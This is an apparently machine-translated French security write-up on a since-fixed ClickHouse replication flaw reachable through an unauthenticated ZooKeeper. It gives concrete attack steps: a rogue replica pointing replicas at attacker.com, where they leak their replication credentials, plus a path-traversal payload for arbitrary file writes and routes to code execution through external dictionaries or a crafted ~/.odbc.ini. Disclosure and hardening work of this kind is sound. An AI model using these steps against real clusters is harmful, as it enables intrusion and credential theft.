Pourquoi faut-il garder les cages du zoo fermées ?

Pourquoi faut-il garder les cages du zoo fermées ?

Cet article racontera l'histoire d'une vulnérabilité très spécifique dans le protocole de réplication ClickHouse et montrera également comment la surface d'attaque peut être étendue.

ClickHouse est une base de données permettant de stocker de gros volumes de données, utilisant le plus souvent plusieurs répliques. Le clustering et la réplication dans ClickHouse sont construits sur le dessus Apache ZooKeeper (ZK) et nécessitent des droits d’écriture.

L'installation ZK par défaut ne nécessite pas d'authentification, donc des milliers de serveurs ZK utilisés pour configurer Kafka, Hadoop, ClickHouse sont accessibles au public.

Pour réduire votre surface d'attaque, vous devez toujours configurer l'authentification et l'autorisation lors de l'installation de ZooKeeper.

Il existe bien sûr des désérialisations Java basées sur 0day, mais imaginez qu'un attaquant puisse lire et écrire sur ZooKeeper, utilisé pour la réplication ClickHouse.

Lorsqu'il est configuré en mode cluster, ClickHouse prend en charge les requêtes distribuées DDL, en passant par ZK - pour eux des nœuds sont créés dans la feuille /clickhouse/task_queue/ddl.

Par exemple, vous créez un nœud /clickhouse/task_queue/ddl/query-0001 avec contenu :

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

et après cela, la table de test sera supprimée sur les serveurs du cluster host1 et host2. DDL prend également en charge l'exécution de requêtes CREATE/ALTER/DROP.

Cela vous semble effrayant ? Mais où un attaquant peut-il obtenir les adresses des serveurs ?

Réplication ClickHouse fonctionne au niveau des tables individuelles, de sorte que lorsqu'une table est créée dans ZK, un serveur est spécifié qui sera responsable de l'échange de métadonnées avec les répliques. Par exemple, lors de l'exécution d'une requête (ZK doit être configuré, chXX - nom de la réplique, Foobar - nom de la table):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

des nœuds seront créés colonnes и métadonnées.

teneur /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Est-il possible de fusionner les données de ce cluster ? Oui, si le port de réplication (TCP/9009) sur le serveur chXX-address le pare-feu ne sera pas fermé et l'authentification pour la réplication ne sera pas configurée. Comment contourner l'authentification ?

Un attaquant peut créer une nouvelle réplique dans ZK en copiant simplement le contenu de /clickhouse/tables/01-01/foobar/replicas/chXX et changer le sens host.

teneur /clickhouse/tables/01–01/foobar/replicas/attaquant/hôte:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Ensuite, vous devez indiquer aux autres répliques qu'il y a un nouveau bloc de données sur le serveur de l'attaquant qu'ils doivent prendre - un nœud est créé dans ZK. /clickhouse/tables/01-01/foobar/log/log-00000000XX (Compteur XX à croissance monotone, qui doit être supérieur au dernier dans le journal des événements) :

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

source_réplique — le nom de la réplique de l'attaquant créée à l'étape précédente, block_id — identifiant du bloc de données, obtenez - commande "get block" (et voici les commandes pour d'autres opérations).

Ensuite, chaque réplique lit un nouvel événement dans le journal et se rend sur un serveur contrôlé par l'attaquant pour recevoir un bloc de données (le protocole de réplication est binaire, fonctionnant au-dessus de HTTP). Serveur attacker.com recevra les demandes :

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

où XXX correspond aux données d'authentification pour la réplication. Dans certains cas, il peut s'agir d'un compte ayant accès à la base de données via le protocole principal ClickHouse et le protocole HTTP. Comme vous l'avez vu, la surface d'attaque devient extrêmement importante car ZooKeeper, utilisé pour la réplication, n'a pas été configuré pour l'authentification.

Examinons la fonction d'obtention d'un bloc de données à partir d'une réplique, il est écrit en toute confiance que toutes les répliques sont sous contrôle approprié et qu'il existe une confiance entre elles.

Pourquoi faut-il garder les cages du zoo fermées ?
code de traitement de réplication

La fonction lit une liste de fichiers, puis leurs noms, tailles, contenus, puis les écrit dans le système de fichiers. Il convient de décrire séparément comment les données sont stockées dans le système de fichiers.

Il y a plusieurs sous-répertoires dans /var/lib/clickhouse (répertoire de stockage par défaut du fichier de configuration) :

drapeaux - répertoire pour l'enregistrement drapeaux, utilisé lors de la récupération après une perte de données ;
tmp — répertoire de stockage des fichiers temporaires ;
fichiers_utilisateur — les opérations avec les fichiers dans les requêtes sont limitées à ce répertoire (INTO OUTFILE et autres) ;
métadonnées — fichiers SQL avec descriptions de tableaux ;
configurations_prétraitées - traitement des fichiers de configuration dérivés de /etc/clickhouse-server;
données - le répertoire proprement dit avec les données elles-mêmes, dans ce cas pour chaque base de données un sous-répertoire séparé est simplement créé ici (par exemple /var/lib/clickhouse/data/default).

Pour chaque table, un sous-répertoire est créé dans le répertoire de la base de données. Chaque colonne est un fichier distinct en fonction de format moteur. Par exemple pour un tableau Foobarcréés par un attaquant, les fichiers suivants seront créés :

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

La réplique s'attend à recevoir des fichiers portant les mêmes noms lors du traitement d'un bloc de données et ne les valide en aucun cas.

Le lecteur attentif a probablement déjà entendu parler de la concaténation non sécurisée de file_name dans une fonction WriteBufferFromFile. Oui, cela permet à un attaquant d'écrire du contenu arbitraire dans n'importe quel fichier du FS avec des droits d'utilisateur. clickhouse. Pour ce faire, la réplique contrôlée par l'attaquant doit renvoyer la réponse suivante à la requête (des sauts de ligne ont été ajoutés pour faciliter la compréhension) :

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

et après concaténation ../../../../../../../../../tmp/pwned le fichier sera écrit /tmp/pwned avec contenu bonjour du gardien de zoo.

Il existe plusieurs options pour transformer la capacité d'écriture de fichiers en exécution de code à distance (RCE).

Dictionnaires externes dans RCE

Dans les anciennes versions, le répertoire avec les paramètres ClickHouse était stocké avec les droits d'utilisateur click house défaut. Les fichiers de paramètres sont des fichiers XML que le service lit au démarrage puis met en cache /var/lib/clickhouse/preprocessed_configs. Lorsque des changements surviennent, ils sont relus. Si vous avez accès à /etc/clickhouse-server un attaquant peut créer le sien dictionnaire externe type exécutable, puis exécutez du code arbitraire. Les versions actuelles de ClickHouse ne fournissent pas de droits par défaut, mais si le serveur était progressivement mis à jour, ces droits pourraient subsister. Si vous supportez un cluster ClickHouse, vérifiez les droits sur le répertoire des paramètres, il doit appartenir à l'utilisateur root.

ODBC vers RCE

Lors de l'installation d'un package, un utilisateur est créé clickhouse, mais son répertoire personnel n'est pas créé /nonexistent. Cependant, lors de l'utilisation de dictionnaires externes, ou pour d'autres raisons, les administrateurs créent un répertoire /nonexistent et donne à l'utilisateur clickhouse accès pour y écrire (SSZB! environ. traducteur).

ClickHouse prend en charge ODBC et peut se connecter à d'autres bases de données. Dans ODBC, vous pouvez spécifier le chemin d'accès à la bibliothèque du pilote de base de données (.so). Les anciennes versions de ClickHouse vous permettaient de le faire directement dans le gestionnaire de requêtes, mais désormais une vérification plus stricte de la chaîne de connexion a été ajoutée à odbc-bridge, il n'est donc plus possible de spécifier le chemin du pilote à partir de la requête. Mais un attaquant peut-il écrire dans le répertoire personnel en utilisant la vulnérabilité décrite ci-dessus ?

Créons un fichier ~/.odbc.ini avec un contenu comme celui-ci :

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

puis au démarrage SELECT * FROM odbc('DSN=lalala', 'test', 'test'); la bibliothèque sera chargée test.so et reçu RCE (merci buglloc pour le conseil).

Ces vulnérabilités et d'autres ont été corrigées dans ClickHouse version 19.14.3. Prenez soin de votre ClickHouse et de votre ZooKeepers !

Source: habr.com

Ajouter un commentaire